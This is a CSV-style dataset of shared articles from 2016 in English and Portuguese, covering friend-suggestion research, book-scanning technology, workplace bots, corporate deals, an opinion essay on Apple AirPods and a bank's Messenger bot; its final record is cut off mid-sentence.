1473966548,CONTENT SHARED,8768619263229062922,-1443636648652872475,2189560359902147838,,,,HTML,https://research.googleblog.com/2016/09/research-from-vldb-2016-improved-friend.html,Research from VLDB 2016: Improved Friend Suggestion using Ego-Net Analysis,"On September 5 - 9, New Delhi, India hosted the 42nd International Conference on Very Large Data Bases (VLDB), a premier annual forum for academic and industry research on databases, data management, data mining and data analytics. Over the past several years, Google has actively participated in VLDB, both as official sponsor and with numerous contributions to the research and industrial tracks. In this post, we would like to share the research presented in one of the Google papers from VLDB 2016. In Ego-net Community Mining Applied to Friend Suggestion , co-authored by Googlers Silvio Lattanzi , Vahab Mirrokni , Ismail Oner Sebe, Ahmed Taei, Sunita Verma and myself, we explore how social networks can provide better friend suggestions to users, a challenging practical problem faced by all social network platforms Friend suggestion - the task of suggesting to a user the contacts she might already know in the network but that she hasn't added yet - is major driver of user engagement and social connection in all online social networks. Designing a high quality system that can provide relevant and useful friend recommendations is very challenging, and requires state-of-the-art machine learning algorithms based on a multitude of parameters. An effective family of features for friend suggestion consist of graph features such as the number of common friends between two users. While widely used, the number of common friends has some major drawbacks, including the following which is shown in Figure 1. In this figure we represent the social connections of Sally and her friends - the ego-net of Sally. An ego-net of a node (in this case, Sally) is defined as the graph that contains the node itself, all of the node's neighbors and the connection among those nodes. Sally has 6 friends in her ego-net: A lbert (her husband), B rian (her son), C harlotte (her mother) as well as U ma (her boss), V incent and W ally (two of her team members). Notice how A , B and C are all connected with each other while they do not know U , V or W . On the other hand U, V and W have all added each other as their friend (except U and W who are good friend but somehow forgot to add each other). Notice how each of A , B , C have a common friend with each of U , V and W : Sally herself. A friend recommendation system based on common neighbors might suggest to Sally's son (for instance) to add Sally's boss as his friend! In reality the situation is even more complicated because users' online and offline friends span several different social circles or communities (family, work, school, sports, etc). In our paper we introduce a novel technique for friend suggestions based on independently analyzing the ego-net structure. The main contribution of the paper is to show that it is possible to provide friend suggestions efficiently by constructing all ego-nets of the nodes in the graph and then independently applying community detection algorithms on them in large-scale distributed systems . Specifically, the algorithm proceeds by constructing the ego-nets of all nodes and applying, independently on each of them, a community detection algorithm. More precisely the algorithm operates on so-called ""ego-net-minus-ego"" graphs, which is defined as the graph including only the neighbors of a given node, as shown in the figure below. Notice how in this example the ego-net-minus-ego of Sally has two very clear communities: her family ( A , B , C ) and her co-workers ( U , V , W ) which are easily separated. Intuitively, this is because one might expect that while nodes (e.g. Sally) participate in many communities, there is usually a single (or a limited number of) contexts in which two specific neighbors interact. While Sally is both part of her family and work community, Sally and Uma interact only at work. Through extensive experimental evaluation on large-scale public social networks and formally through a simple mathematical model, our paper confirms this intuition. It seems that while communities are hard to separate in a global graph, they are easier to identify at the local level of ego-nets. This allows for a novel graph-based method for friend suggestion which intuitively only allows suggestion of pairs of users that are clustered together in the same community from the point of view of their common friends. With this method, U and W will be suggested to add each other (as they are in the same community and they are not yet connected) while B and U will not be suggested as friends as they span two different communities. From an algorithmic point of view, the paper introduces efficient parallel and distributed techniques for computing and clustering all ego-nets of very large graphs at the same time - a fundamental aspect enabling use of the system on the entire world Google+ graph. We have applied this feature in the ""You May Know"" system of Google+, resulting in a clear positive impact on the prediction task, improving the acceptance rate by more than 1.5% and decreasing the rejection rate by more than 3.3% (a significative impact at Google scales). We believe that many future directions of work might stem from our preliminary results. For instance ego-net analysis could be potentially to automatically classify a user contacts in circles and to detect spam. Another interesting direction is the study of ego-network evolution in dynamic graphs.",en
1473970449,CONTENT SHARED,-6603970730135147059,-4028919343899978105,5740617098389918193,,,,HTML,http://canaltech.com.br/noticia/geek/pesquisadores-do-mit-desenvolvem-tecnologia-que-digitaliza-livros-fechados-79769/,Pesquisadores do MIT desenvolvem tecnologia que digitaliza livros fechados - Geek,"Por Redação | em Uma nova tecnologia desenvolvida por pesquisadores do MIT promete revolucionar a maneira de digitalizar documentos e livros para o formato digital. Publicado na revista Nature Communications, a tecnologia propõe que livros possam ser digitalizados sem precisar escanear página por página, bastando inserir qualquer livro fechado para que o processo seja feito. Caso a tecnologia seja aperfeiçoada, ela poderá agilizar o trabalho de bibliotecas, por exemplo. A maneira de conseguir uma versão digital de documentos e livros se tornará muito mais fácil e rápida. No vídeo abaixo você pode verificar com mais detalhes como a tecnologia desenvolvida no MIT funciona: O processo utiliza radiação tetrahertz, que é absorvida pelo papel e tinta de uma maneira diferente. A câmera é tão precisamente ajustada que os pesquisadores conseguem detectar a diferença entre uma página e outra, apesar de haver apenas 20 micrômetros de ar entra cada uma. As páginas digitalizadas são lidas através de softwares ajustados para o processamento da imagem gerada. Ainda há um longo caminho a ser percorrido. Neste momento, a tecnologia permite a leitura de apenas nove páginas agrupadas. Mas, novas pesquisas poderiam maximizar este número, tornando os resultados surpreendentes, principalmente para arquivistas e bibliotecários. Com a nova tecnologia, será possível obter acesso a livros restritos e antigos através de uma cópia digital e também agilizar consideravelmente o tempo de digitalização de documentos. Assine nosso canal e saiba mais sobre tecnologia!",pt
1473971457,CONTENT SHARED,3367026768872537336,-3535274684588209118,-6495023147849651556,,,,HTML,http://br.blog.trello.com/melhore-a-comunicacao-na-empresa/,Seja esperto no trabalho: Melhore a comunicação na empresa com 12 robôs,"Seja Esperto no Trabalho: Melhore a Comunicação na Empresa Com 12 Bots ""Eu odeio ferramentas que me ajudam a trabalhar com mais eficiência e auxiliam a melhorar a comunicação na empresa"", disse absolutamente ninguém, em momento algum. Entram em cena seus próprios minions. Robôs (ou bots, em inglês) são incríveis para a produtividade. Eles podem automatizar tarefas que você teria que fazer por sua conta, deixando tempo livre para focar nas coisas que realmente precisam do seu toque de humanidade. Robôs também te livram daquela sobrecarga de novos apps. Em vez de baixar mais um aplicativo para fazer uma tarefa específica - e acabar com um monte de novas notificações para verificar o tempo todo - você pode turbinar a utilidade dos aplicativos que já tem. É a mesma coisa que personalizar seu uso do Trello com uma miscelânea de aplicativos de terceiros e Power-Ups . Robôs baseados em textos podem ajudar a melhorar a comunicação na empresa e com sua equipe, ou engajar os usuários nos aplicativos que você (e eles) já usam - aplicativos de chat como o Slack, redes sociais como Twitter e WhatsApp, e até mesmo com seu e-mail ou com o ecossistema do seu smartphone. Você também pode usar os robôs para se manter nos apps e plataformas que mais usa, diminuindo as chances de seu cérebro ""dar uma viajada"" com essa constante mudança de contexto . Tem robôs para quase tudo no trabalho e para todas as plataformas que você usa no dia a dia. Se a repercussão sobre isso já chegou até você, mas não teve uma chance de experimentar, aqui tem alguns robôs para você se cadastrar e começar a melhorar a comunicação na empresa, poupar tempo e trabalho imediatamente: Robôs de Comunicação na Empresa 1. Slackbot Evidentemente esta lista começa com o robô do Slack, o Salckbot , um dos melhores robôs da nossa seleção. O Slackbot poderia ser facilmente classificado como um ""assistente pessoal robótico"", mas uma vez que ele vive na plataforma de mensagens do Slack, sua função principal é ajudar você e sua equipe a melhorar a comunicação na empresa e trabalhar com mais produtividade. Tem um monte de maneiras de programar o Slackbot, e o Slack até fornece um API para criar ""Slack bots"" (não confunda com o próprio Slackbot) para rodar dentro do Slack. Você pode começar criando respostas automáticas personalizadas para aquelas perguntas mais comuns que te tomam tempo, tais como ""Qual a senha do wi-fi?"" ou ""Que horas é a nossa reunião semanal de equipe, mesmo?"". 2. Robô Standup Muitas empresas e equipes usam reuniões diárias de atualização para alinhar o time sobre o andamento dos projetos atuais e superar possíveis obstáculos juntos. Se você trabalha com sua equipe a distância , ou tem membros que usam horários diferentes, ter um robô que automaticamente inicia, toca e resume reuniões diárias de alinhamento pode soar com um sonho. O Standup gera atualizações automáticas no Slack que não exigem reuniões cara a cara em tempo real, todo dia ou toda semana. Sem mais desculpas para não melhorar a comunicação na empresa! 3. Drift 2.0 O novo Driftbot permite que se respondam consultas no site usando inteligência artificial para ajudar a direcionar as perguntas certas para as pessoas certas, melhorando a comunicação na empresa para que ninguém desperdice tempo nem esforços. A integração Drift + Slack permite falar com usuários do site sem ter que sair do Slack, poupando o tempo que se perde mudando de uma plataforma para outra. Robôs ajudando humanos a interagir com outros seres humanos é mais do que suficiente para aquecer as válvulas de um coração artificial. Assistentes Pessoais ""Robóticos"" 4. x.ai Conheça a x.ai Amy, a toda poderosa assistente pessoal robótica que agenda seus compromissos quando você manda um e-mail para ela. Quando você recebe um pedido de reunião, você pode simplesmente mandar um e-mail para amy@x.ai e a robô automaticamente faz o vai e volta de e-mails ""Eu estou disponível entre as 2:00 e as 4:00, nos dias ímpares, e nunca antes das 9:00 na segunda terça-feira"" para agendar as reuniões. Municiada com sua agenda de compromissos e preferência de horários, Amy faz toda programação de um jeito realmente muito legal. 5. Jarvis Esta corujinha adorável é seu novo companheiro, um robô para o Facebook Messenger que vai te mandar lembretes de tarefas baseado nos pedidos que você faz naturalmente, em linguagem comum. Se você prefere não falar em voz alta ao celular para dar instruções ao Siri, Google ou Cortana para lembrá-lo de atualizar prazos de vencimento em seus cartões Trello toda quinta às 10:00 - ou se você trabalha com Mídias Sociais, ou mesmo é alguém que passa muito tempo no Messenger - assistentes pessoais baseados em texto podem fazer uma tonelada de sentido. 6. WorkLife Para muita gente, principalmente quem trabalha a distância e a galera de tecnologia, abrir o Slack é uma das primeiras coisas que você faz quando vai começar a trabalhar. O Robô WorkLife Slack garante que você não tenha que abrir seu aplicativo de agenda ou seus e-mails para saber onde você vai e com quem você tem reuniões naquele dia. O robô te manda toda manhã um resumo de suas próximas reuniões, inclusive tudo que precisa saber sobre qual linha usar para um ""conference call"" e os assuntos que serão tratados. Esse é o tipo de coisa que eu gosto de ver em um robô! Robôs de Dados e Desenvolvimento 7. Hubot O Hubot começou a vida como um robô interno do GitHub, mas agora está disponível em código aberto. Anunciado como ""o robô da sua empresa"", ele vem com alguns scripts pré-programados para ajudar em coisas como tradução e postagem de imagens, mas também pode ser personalizada com uma tonelada de scripts criados colaborativamente ou que você mesmo codificou. 8. Baremetrics bot Se você ama métricas e construir empresas SaaS , você provavelmente ama Baremetrics - e você provavelmente também vai amar o robô Métricas Baremetrics e Slack ! Esta integração envia informações cruciais sobre os clientes diretamente para o Slack, assim você nunca vai ter que abrir o Baremetrics em separado para verificar novas inscrições, LTV (Life Time Value), MRR (Receita Recorrente Mensal) ou taxas de churn (cancelamento) novamente. 9. Statsbot Como as melhores invenções, o Statsbot surgiu do desejo de seus criadores de solucionar um problema próprio. Eles se viam constantemente indo aos seus painéis de controle do Mixpanel , tirando uma foto de um gráfico ou tabela e depois anexando no Slack em resposta a perguntas ou para explicar uma opinião para a equipe. Então eles criaram o Statsbot, um robô de métricas que mantém você e sua equipe atualizados sobre as métricas do Google Analytics, Mixpanel e mais, direto no Slack, melhorando muito a comunicação na empresa. Robôs Para Produtividade Pessoal e da Equipe 10. Tomatobot O método de Pomodoro é um jeito bem legal de dividir seu dia em períodos mais produtivos e focados. Com tantas pessoas adotando essa ferramenta de trabalho baseada no tempo, não é de se admirar que haja um robô para isso. Apropriadamente chamado de Robô de Produtividade Tomatobot , ele envia seus avisos de tempo diretamente para o seu canal do Slack. Você também pode identificar mensagens específicas como distrações ou digitar o que terminou - no final de cada Pomodoro, o Tomatobot vai te mostrar as mensagens marcadas como distrações para você poder vê-las e também tudo que conseguiu fazer. 11. Ace Quantos galhos um castor poderia quebrar para você se ele fosse um robô que gerencia inteligentemente sua produtividade no Slack, como o Robô de Produtividade Ace pode fazer? Este inteligente robozinho (e seu avatar de castor) acompanha despesas, tarefas, votações e muito mais com facilidade, tudo no Slack. Pauleira esse negócio, hein? 12. Trello para Slack Se você é um usuário ativo tanto do Slack quanto do Trello, você provavelmente não conseguiria sequer contar quantas vezes por dia você transfere informação de um para o outro. Trello para Slack permite que você crie instantaneamente cartões Trello de dentro dos canais Slack (até com GIFs de gatinhos no meio do post!), atualizar cartões, anexar cartões a conversas, incluir pessoas em cartões e muito mais. Mais do que apenas comandos, este robô fornece vários botões para tarefas comuns do Trello, assim você pode ir fazendo o que precisa direto, sem mudar de ferramenta. Deu para entender agora? Com uma legião de robozinhos (seus minions!), só esperando para melhorar a comunicação na empresa, você vai ser muito mais produtivo, eficiente e cada vez mais admirado por todos! Postagens Relacionadas",pt
1473973522,CONTENT SHARED,-7350631483047993309,-1352064057049251194,5029350577649192907,,,,HTML,http://www.itforum365.com.br/noticias/detalhe/121287/fh-fecha-contrato-de-oem-com-sap-para-entrega-de-solucoes-de-e-commerce,FH fecha contrato de OEM com SAP para entrega de soluções de e-commerce,"Colaboração A FH firmou contrato de OEM (sigla para Original Equipment Manufacturer, ou Fabricante Original do Equipamento, em tradução ) com a SAP para entrega de soluções de e-commerce com foco em pequenas e médias empresas (PMEs). Com a iniciativa, a FH passa a desenvolver o Flieger Commerce, software de digital commerce baseado em SAP Hybris. De acordo com Wilmar Lima, diretor de operações da FH, um dos benefícios da solução é que o cliente passa a contar com ""único fornecedor para suportar todas as necessidades do e-commerce - desde a aquisição do software; licença; implementação; agência digital, hosting e suporte, o que traz mais segurança e praticidade durante operações"", aponta. De acordo com Cristiano Silvestrin, Executivo de Vendas da SAP, o OEM é um modelo global de parceria focado em empresas de desenvolvimento de software e hardware, onde a SAP disponibiliza parte do seu portfólio como, por exemplo, banco de dados, plataformas de desenvolvimento e internet das coisas (IoT, na sigla em inglês), ferramentas de BI, entre outros, e parceiros podem desenvolver, embarcar ou complementar seus próprios produtos a partir da tecnologia SAP. Desde 2015, as vendas de produtos e serviços da unidade de Technology da FH (responsável pelos produtos desenvolvidos sob a plataforma SAP Hybris) triplicaram. A meta da companhia para os próximos três anos é fazer com que essa unidade fature tanto quanto as unidades de consultoria, responsável por boa parte do faturamento anual da empresa, que deve ultrapassar R$ 100 milhões.",pt
1473974086,CONTENT SHARED,80435662809978246,-6030696784871381528,1272023447208236545,,,,HTML,http://economia.uol.com.br/noticias/bloomberg/2016/09/15/heroina-nazistas-e-agente-laranja-por-dentro-da-fusao-do-ano.htm,"Heroína, nazistas e agente laranja: por dentro da fusão do ano","(Bloomberg) -- Duas gigantes dos setores agrícola e químico fecharam um acordo de fusão na quarta-feira, um negócio de US$ 66 bilhões: a Monsanto, dos EUA, e a Bayer, da Alemanha, a fabricante original da aspirina. Trata-se do maior negócio do ano, que criará a maior fornecedora de sementes e químicos agrícolas do mundo, com US$ 26 bilhões em receita anual combinada da agricultura. Se concretizada, a fusão juntará duas companhias com longas e célebres histórias que moldaram o que comemos, os medicamentos que tomamos e como cultivamos nossos alimentos. Bayer: passado e presente Em 1863, dois amigos que produziam corantes a partir do alcatrão de hulha criaram a Bayer, que se transformou em uma empresa química e farmacêutica famosa por comercializar a heroína como remédio para tosse em 1896, e depois a aspirina, em 1899. A empresa foi contratada pelos nazistas durante a Segunda Guerra Mundial e usou trabalhos forçados. Atualmente, a empresa com sede em Leverkusen, na Alemanha, fabrica medicamentos e tem uma unidade de ciências agrícolas que produz maconha e pesticidas. Sua meta é dominar os mercados de químicos e medicamentos para pessoas, plantas e animais. Monsanto: passado e presente A Monsanto, fundada em 1901, originalmente produzia aditivos alimentares como a sacarina antes de expandir-se para produtos industriais químicos, farmacêuticos e agrícolas. É famosa por produzir alguns químicos controversos e altamente tóxicos, como os bifenilos policlorados, comumente conhecidos como PCBs e atualmente banidos, e o herbicida agente laranja, que foi usado pelo exército dos EUA no Vietnã. A empresa comercializou o herbicida Roundup nos anos 1970 e começou a desenvolver milho e sementes de soja geneticamente modificados nos anos 1980. Em 2000 surgiu uma nova Monsanto a partir de uma série de fusões corporativas. A empresa agrícola definitiva Recentemente a Monsanto tentou se posicionar entre os fazendeiros como uma empresa química e de sementes completa. A ideia é usar informação diretamente dos campos para descobrir exatamente quando, onde e como os fazendeiros devem aplicar produtos químicos no cultivo para ter uma colheita maior. O acordo se concretizará? A transação seria a maior da história da agricultura, mas não é certa, porque podem surgir obstáculos antitruste. A combinação de Bayer e Monsanto formaria o maior ator de um setor com apenas três megaempresas ainda restantes. Além disso, o acordo pode enfrentar reações na Alemanha, onde a maior parte dos cidadãos questiona se é seguro consumir e cultivar alimentos modificados. Futuro da agricultura? Devido ao domínio da Monsanto no ramo de sementes e à força da Bayer no segmento de químicos agrícolas, as empresas poderão vender aos fazendeiros um abrangente conjunto de pesticidas e sementes geneticamente modificadas. A Monsanto também investiu no emergente setor de agricultura de precisão, que é uma forma dos fazendeiros descobrirem exatamente a quantidade de fertilizante ou o tipo de semente que devem usar. Isso é possível por meio da coleta e da análise de dados sobre o clima e o cultivo em seus campos em níveis cada vez mais frequentes e detalhados. A Monsanto e a Bayer argumentam que a ampliação das safras possibilitada pelo uso desses métodos será necessária para alimentar a crescente população mundial, que gera uma demanda maior por carne e produtos lácteos. Título em inglês: Heroin, Nazis, and Agent Orange: Inside the $66 Billion Merger of the Year Para entrar em contato com o repórter: Lydia Mulvany em Chicago, lmulvany2@bloomberg.net, Para entrar em contato com os editores responsáveis: Telma Marotto tmarotto1@bloomberg.net, Patricia Xavier ©2016 Bloomberg L.P. Obrigado pela sua inscrição",pt
1473974271,CONTENT SHARED,4776828703162554224,-5527145562136413747,7746141319680918359,,,,HTML,http://www.wocintechchat.com/blog/wocintechphotos,"Stock photos of women of color in tech, now free to use.","Earlier this month, we published a where we discussed the problem of not having visible representations of women of color engaging in technical tasks in stock images. We're excited to announce that the first batch of #WOCinTech photos are available under a Creative Commons (Attribution) license. This means that you may copy, distribute, and display the images as long as you attribute #WOCinTech Chat. Otherwise, you are free to use them as you wish. Our ask? That you use these photos to show a different representation of all women in tech. That you use these images in pieces about entrepreneurs, software engineers, infosec professionals, IT analysts, marketers, and other people who make up the tech ecosystem . Just as white women have been the default ""woman"" in technology and American society as a whole, we believe the underlying belief of what it means to be - and who can be - a tech worker in the 21st century can benefit from this form of ""disruption"". Thank you to the amazing individuals that participated in the photo shoot in September, to the NYC startup that hosted us, and to our photographer and fellow techie . If you have any inquiries about the photo shoot or if you would like your company to host our next photo shoot, send us an email: hello(at)wocintechchat(dot)com. In the meantime, check out the Blog for updates on the second shoot. Check out the blog for more info on the 2nd #WOCinTech photo shoot happening in January & February 2016",en
1474001417,CONTENT SHARED,921770761777842242,-2785363955043455312,2050770171372856452,,,,HTML,http://www.telegraph.co.uk/technology/2016/09/13/pixelated-photos-and-license-plates-can-be-unblurred-using-artif/,Pixelated photos and licence plates can be unblurred using artificial intelligence,"Pixelated or blurred photographs could be at risk of being unblurred as easily-accessible computer tools can successfully identify faces and information, a study has found. Researchers at the University of Texas and Cornell University found that the practice of blurring sensitive information, such as faces or licence plate numbers, could soon be obsolete and completely insecure, as computers can now decode the images. Using deep learning tools, the team was able to identify 71 per cent of faces and numbers, compared with a 0.2 per cent human success rate. This number raised to 83 per cent if the computer was allowed to guess five times.",en
1474025829,CONTENT SHARED,-3751398885033121551,-1387464358334758758,3201286237065503977,,,,HTML,http://googlediscovery.com/2016/09/15/gmail-e-inbox-by-gmail-terao-suporte-e-mails-com-design-responsivo/,Gmail e Inbox by Gmail terão suporte a e-mails com design responsivo | Google Discovery,"O Google anunciou que o Gmail e o Inbox by Gmail terão suporte a e-mails com design responsivo permitindo adaptar o conteúdo a diferentes tamanhos de telas. ""Texto, links e até mesmo botões serão ampliados para tornar a leitura mais fácil em telas menores. Se você estiver no ambiente de trabalho, você também verá melhorias, uma vez que e-mails projetados para celular também pode se adaptar para caber em telas maiores"", disse o buscador. Caso você seja programador e tenha interessa em desenvolver e-mails responsivos, você pode obter todas as informações sobre esta novidade nesta documentação liberada pela empresa. é bacharel em administração de empresas e fundador da FragaNet Networks - empresa especializada em comunicação digital e mídias sociais. Em seu portfólio estão projetos como: Google Discovery, TechCult, AutoBlog e Arquivo UFO. Também foi colunista de tecnologia no TechTudo, da Globo.com.",pt
1474028337,CONTENT SHARED,-6545872007932025533,-1402490765047599382,-9043465215175509636,,,,HTML,https://medium.com/chris-messina/silicon-valley-is-all-wrong-about-the-airpods-8204ede08f0f,Why Silicon Valley is all wrong about Apple's AirPods - Chris Messina,"So you think Apple is a tech company? No, you're wrong. In July of 1997, right before his return to Apple, Steve Jobs told BusinessWeek: ""The products suck! There's no sex in them anymore! Start over"". Ten years later, building on the dripping sex and rock and roll of the iPod (touched with a Bono �� no less!), Jobs revealed the iPhone and changed computing forever. Last week, Apple did it again, but for some reason, nearly everyone in Silicon Valley is confused about what just happened. I mean, I understand the confusion, but do people really think that the most significant announcement was the removal of the 3.5mm analog headphone jack ? I mean, it was, but not for the reasons everyone's panties seems to be bunched up about. Apple doesn't give a shit about neckbeard hipsters who spent thousands of dollars on expensive audiophile gear that rely on 100-year-old technology to transmit audio signals . They'll readily drop them faster than Trump drops facts to make an argument in a televised debate . Apple is securing its future , and to do that, it must continue to shrink the physical distance between its products and its customers' conceptions of self. The ᴡᴀᴛᴄʜ came first, busting our sidekick supercomputer out of our pockets and onto our skin. Apple's next move will put its products literally within earshot of our minds. This is no accident. How quickly we forget the past In 2007, not only did Apple launch the iPhone, but they also changed their name from Apple Computer, Inc., to Apple Inc. This change was perhaps as big a deal as the iPhone itself, but it's taken another decade for its implications to become clear. Oops, did you blink and miss it? No problem. Apple made you a movie: Maybe it's still not clear to you. That's ok, I'll spell it out. Repeat after me: Apple is not a technology company The problem with Silicon Valley is Benedict Evans . I mean, not Benedict specifically, because he's actually incredibly smart and holds sophisticated perspectives on the tech industry and adoption cycles, and also, he gives good tweets , but he's not a product designer. And yet, we look to him and other folks of his ilk to understand Apple's moves. But there are no users like Benedict Evans in the world, except in Silicon Valley, and as much as we like to think of Silicon Valley as the center of the universe, it's not ( aside to my SV friends: I know, I know, deep breaths ). While we live and breathe tech products, and love to play armchair product quarterbacks (side note: Product Hunt is the NFL of product design ), we don't represent the masses of normals. He and I like to indulge the fantasy that Apple makes things exclusively for us, but they obviously care way less about two Twitter-loving technophiles in Silicon Valley than they do about the rest of the world. Thus when I consider who influences my thoughts on Apple's moves, I need to be mindful of the Kool-aid I'm drinking, who's making it, and what their lived context is. Do they represent the broader whole of humanity, or a narrow sliver of land on the West Coast of the United States of America? So, then, why should you listen to me? Who died and crowned me an expert? No one. I just kind of became an expert by virtue of the sheer number of hours I've spent on this stuff. Kind of like Benedict, but it's also his job. But, I'm also kind of a fraud, like the rest of you. I grew up never fitting in with any crowd and never being popular, but I learned to observe people, and then chameleon myself into their cliques so I could feign belonging . It makes me a good faker and it makes me pretty good at listening to the words people use, but better at paying attention to what their behavior actually says . I've learned to differentiate how experts think about things from the way laypersons do, and how to discount each respective perspective accordingly (including my own, definitely including my own ). Most Silicon Valley pundits that we enjoy listening to or reading only reinforce our own over-developed, over-informed (and thus, unrepresentative ) viewpoints. They say things that validate our shallow egos and make us feel less alone, like when they decry the death of the 3.5 mm analog jack as anathema. We tweet our adolescent angst in solidarity because it feels good to belong and to rage in unison, and because we recoil from physical affection from each other, we seek likes and retweets to soothe our wounded inner children because that kind of validation is the closest human connection to getting a hug that we're willing to tolerate. And fuck yeah, Techmeme, thank you for showing me that I'm not alone ! But, I digress. What was I talking about? Oh, right. Apple is a fashion brand that makes jewelry that connects to the internet The thing that makes me crazy about Apple (and not in the fanboi sense) is that they both give a shit and don't give a shit about what anybody else thinks, and what everyone else is doing. Like, under Tim Cook, they're a lot more ""out there"" and verbally responsive to customer complaints , but in a totally controlled and measured way. Not like Jobs didn't write emails to customers , but Cook is a little faster and looser. A little. And from an industry perspective, Apple doesn't seem to want to keep up with the Jones's (Google, Facebook, Amazon, Tencent, et al), except when they do. For example, Samsung showcased a waterproof S7 back in February and then Apple followed suit in the iPhone 7. In other areas, however, Apple is out on their own. That's where it's worth paying attention, and that's what brings us back to nixing the headphone jack with the one-two punch of a Lightning port coupled with Bluetooth audio. Yes, others, from Slate to Chris Saad ( 1 ), have pointed out that this change is not about music, but about how Apple's new AirPods will usher in the wonderful (and yet unproven) world of voice computing. And, I agree, but that perspective is insufficient to understand why Apple doing this is significant. It's not like they're the first. This image, though, helps: ""You've got to start with the customer experience and work backwards to the technology ."" - Steve Jobs The thing is, we've had wireless headsets for a while, but they've always made people (mostly men) look like dickwads. They're confusing to pair, and frustrating to use. And so if you're willing to put up with them, you're letting technology ruin your life. And so, you're a dickwad. Don't take my word for it, look at this unlicensed "" confident businessman with wireless headset "" stock photo: Pure dickwad. Poor guy. Heck, even if you kind of look like Chris Hemsworth, you can't really make a once state of the art wireless headset look like something you'd choose to adorn your pretty little head with: The reality is, the "" Bionic Man "" look isn't really in, no matter how much utility these devices provide (I say this even as Bluetooth headphones sales eclipse the wired sort ) or people attempt to get the design right . Yves Behar couldn't make it happen when he partnered with Jawbone. I mean, would you choose to wear something like this on a hot date? Probably not if you wanted a second date, amirite? But the EarPods, and now AirPods, for some reason* (* no, it's a very specific reason ), defeat this crisis of user acceptance. What Apple has done is produce something that isn't a technology product, but is, rather, a fashion object -a piece of jewelry, an entertainment product, a status symbol, a genie in a bottle-that drips with sex appeal. I mean, that iPhone 7 launch video probably was directed by The Weeknd , because I want to watch it, Often, followed by a cold shower. �� So, don't confuse AirPods with just another Bluetooth headset; that's not what they're replacing. AirPods offer a new relationship because they're alluring, sensuous, and sultry: AirPods are sex sticks that fuck your ears . (Hmm. Or maybe your ears spoon them? I can't decide.) Regardless, the fucking or the cuddling goes both ways, and if I'm saying anything, it's that AirPods aren't a technology device, but instead a way to get Her's Scarlett Johansson character into your bed... errr... I mean, head because whatever is going on in this image, it's the equivalent of what we all know actually takes place on Snapchat (or used to), except it's happening between you and a bot named Siri: And this is what Apple can do that no one else can: make the behavior of talking to a disembodied entity on your face so socially acceptable that the voice computer revolution can finally get underway. Nor are they starting from square one. They've already taught us to behave this way, even if we don't realize it. How many times have you walked down the street talking to a colleague or family member on your EarPods? It's normal. It's not weird. Who cares if you're talking instead to your robot overlord? What sets AirPods apart is that they build on existing habits, require only slightly modified expectations on behalf of the user, and benefit from the wisdom of the phalanx of fashion luminaries that Apple has brought in-house over the past decade. In contrast, here's a weird product with no sex appeal which had no prior user adoption to build on and that was doomed to fail from the outset, no matter how many models showed up for the fashion walks : You can buy fashionable friends, and you can pay them to wear your stuff to make some photos, but you can't get them to choose to wear what you're offering in their real lives unless there's a bridge to the familiar, essential, and down-to-earth. AirPods build on the success of the iPod, which is related to the story of Napster and taking on the record industry, saying "" Fuck you! "" to Metallica ( especially to Lars ), putting 1,000 songs in your pocket, the clickwheel, trading 128kbps MP3s in internet forums, suffering through dial-up download speeds, Firewire, USB, and basically punk rock. AirPods are legit like Richard Branson because they've been around forever and yet they're still new and cool as fuck. Patience is a virtue lost on Silicon Valley Here in Silicon Valley, we're a bunch of inchoate Peter Pans , which affects how we approach relationships, how we design, build, and grow apps, and it affects our ability to relate to the people that use the things we make (because everything we make is soooo important, magical, revolutionary, changing the world, solving world hunger, making life less demanding by making everything available on-demand). Somehow ( maybe it was the acid trip Jobs went on ), Apple learned to take their time with products, and to pace their product evolution. They seem slow at times, but maybe it's just because they resist the short-sighted approach that most tech companies feel forced to take to try to get ahead. That means most tech companies struggle to fully understand the problems they're solving, and don't stop to saddle up alongside their users to develop empathy-to really understand what their users are willing to put up with and what they never will. Apple began the journey of promoting user acceptance of technology apparatuses as fashion accessories with the introduction of the iPod in 2001, fifteen years ago . You can hear it when Jobs explains why he decided to pursue music in the first place: he knew it was universal and represented a huge addressable market in which there was no market leader . He also knew that everyone loved music, and that their personal, emotional relationships with music would give him the opening he needed to send in the  ᴛʀᴏᴊᴀɴ ʜᴏʀsᴇ to permeate their lives for a generation. And now, by exploiting that same relationship, Apple is doing it again: offering a sexy fashion statement, an expensive luxury item, an entertainment accessory, which will usher in the era of voice-controlled intimate computing. Apple won't sell the AirPods by enumerating their tech specs but by evoking an emotional, aspirational response-which is an approach vividly different from nearly anything else that comes out Silicon Valley's burgeoning nerdtopia. When we decry the lack of diversity in Silicon Valley (and yes, Apple absolutely should examine its own house ), we should remember that true diversity is complex with many dimensions. The broad, eventual appeal of AirPods come from the diversity of talent working behind the scenes to bring this product to life-beyond the engineering and industrial design-which includes disciplines from marketing to retailing to storytelling to fashion, as well as the disciplinary will to resist shipping shit products. A diversity of perspectives had to be brought together to make this product happen in this moment, with this narrative, with the relatively reserved emphasis on Siri. No, people aren't quite ready for the conversational software world of the future  - but that's okay, because, guys, Apple's on it, and they've got plenty of time to get it right. And I hope you understand what Apple's up to a little bit better now.",en
1474045712,CONTENT SHARED,-5669503112960687520,5660542693104786364,-6469441063197240965,,,,HTML,http://convergenciadigital.uol.com.br/cgi/cgilua.exe/sys/start.htm?UserActiveTemplate=site&infoid=43470&sid=3,Banco Original adota Bot no Messenger do Facebook,"Convergência Digital* ... 12/09/2016 ... Convergência Digital As redes sociais viram canal de atendimento em tempo real para as instituições financeiras. O Banco Original, que é 100% digital, anuncia o Bot Original, ferramenta que permite interação instantânea com o público pelo Messenger do Facebook. A partir de agora, clientes e não clientes que quiserem se comunicar com o banco, seja para tirar uma dúvida ou solicitar serviços, poderão enviar mensagens pelo aplicativo de mensagem instantânea da rede social e receber respostas específicas sobre o assunto abordado. ""Temos como uma de nossas premissas a excelência no atendimento a clientes, estabelecendo um relacionamento próximo, transparente e por meio de uma linguagem simples com eles, e o Bot chega para concretizar esse tipo de atendimento. Agora, as pessoas poderão falar com o Banco Original como se estivessem falando com um amigo e ainda terão agilidade no recebimento das respostas"", explica Fernando Miranda, Head de Varejo do Banco Original. Desenvolvido pela área de inovação do banco, o Bot (contração da palavra robot, robô em inglês), funcionará como um SAC robotizado, fornecendo respostas programadas sobre pagamentos, alterações cadastrais, caixa eletrônico, câmbio, cartões e cheques, conta corrente, fundos, investimentos, PicPay, política e perfil institucional, programa de pontos, segurança, tarifas e até mesmo sobre o Espaço Original. Atento à demanda dos mais de 67 mil seguidores da página do Banco Original no Facebook e dos clientes que buscam a comunicação com o banco fora dos meios digitais, Guga Stocco, Head de Inovação e Estratégia Digital do Banco Original, ressalta o perfil hipertecnológico do 